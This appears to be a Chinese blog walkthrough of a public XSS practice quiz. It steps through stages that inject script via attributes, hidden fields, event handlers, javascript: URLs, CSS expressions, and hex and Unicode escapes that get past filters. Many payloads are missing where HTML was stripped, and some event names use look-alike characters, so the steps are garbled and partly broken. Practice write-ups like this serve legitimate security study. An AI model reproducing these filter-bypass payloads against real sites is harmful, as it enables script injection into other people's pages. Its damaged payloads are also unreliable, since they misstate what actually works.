环境:http://xss-quiz.int21h.jp

一、Stage #1 无过滤xss漏洞

1、随便输入字符:123

28、XSS常见payload_xss


2、输入payload:

28、XSS常见payload_payload_02


3、弹出对话框,说明存在xss漏洞

28、XSS常见payload_常见_03

二、Stage #2 属性中的xss漏洞

1、在窗口中输入payload:,查看审查元素,payload被写在一个标签中

28、XSS常见payload_常见_04

2、重新构造payload,先闭合标签:

">

28、XSS常见payload_xss_05

或者 "οnmοuseοver=alert(document.domain)>

28、XSS常见payload_常见_06

3、成功弹出

28、XSS常见payload_常见_07

三、Stage #3 选择列表框中的xss漏洞

1、点击search,抓包

28、XSS常见payload_css_08


28、XSS常见payload_3c_09

2、修改post数据,添加payload:,发送到repeater,send

28、XSS常见payload_payload_10

3、右击响应信息,show response in browser,复制到浏览器打开

28、XSS常见payload_3c_11


28、XSS常见payload_xss_12


28、XSS常见payload_xss_13

四、隐藏提交参数的xss漏洞

"> %0a

1、随便输入字符,search,抓包

28、XSS常见payload_3c_14


28、XSS常见payload_css_15

2、在隐藏参数后面添加payload,forward,查看审查元素

28、XSS常见payload_payload_16


28、XSS常见payload_xss_17


3、闭合参数,重新构造payload:">,发包,成功弹出

28、XSS常见payload_payload_18

五、HTML事件中的xss漏洞

1、直接输入payload:">,审查元素,字符被转义了,

28、XSS常见payload_3c_19

2、重新构造payload:"οnmοuseοver=“alert(document.domain)

或者” οnclick=“alert(document.domain)”

3、成功弹出

28、XSS常见payload_常见_20

六、空格分隔属性中的xss漏洞

1、随便输入字符111 222 333

28、XSS常见payload_payload_21


2、输入字符串

28、XSS常见payload_xss_22

3、构造payload:111 οnclick=alert(document.domain),成功弹出

28、XSS常见payload_xss_23

七、JavaScript为协议触发

1、输入payload:javascript:alert(document.domain),成功弹出

28、XSS常见payload_3c_24

八、绕过过滤xss漏洞

1、输入payload:">,审查元素,domain被过滤了

28、XSS常见payload_常见_25

2、重新构造payload:">

28、XSS常见payload_css_26


28、XSS常见payload_css_27

九、绕过替换script和on事件的xss漏洞

1、输入,script被替换成xscript

28、XSS常见payload_常见_28


2、闭合payload,并修改100" οnmοuseοver="alert(document.domain)

28、XSS常见payload_xss_29


on事件,被替换成onxxx

3、使用伪协议加“&#09”绕过
100"> xss

十、利用IE特性绕过过滤",​​可以闭合双引号,​​​οnmοusemοve=alert(document.domain)
仅针对IE浏览器

十一、利用css特性绕过过滤",IE低版本

background-color:#f00;background:url(“javascript:alert(document.domain);”);

28、XSS常见payload_xss_30

十二、利用css执行js

xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

28、XSS常见payload_常见_31


十三、十六进制绕过过滤

1、输入

28、XSS常见payload_xss_32

2、<>都被转义了,用十六进制代替

\x3cscript\x3ealert(document.domain);\x3c/script\x3e

28、XSS常见payload_xss_33


28、XSS常见payload_payload_34


十四、unicode绕过过滤

1、输入\x3c \x3e,不能绕过

28、XSS常见payload_css_35


2、重新利用unicode构造payload:

\u003cscript\u003ealert(document.domain);\u003c/script\u003e

28、XSS常见payload_css_36


28、XSS常见payload_3c_37


禁止非法,后果自负

欢迎关注公众号:web安全工具库

28、XSS常见payload_payload_38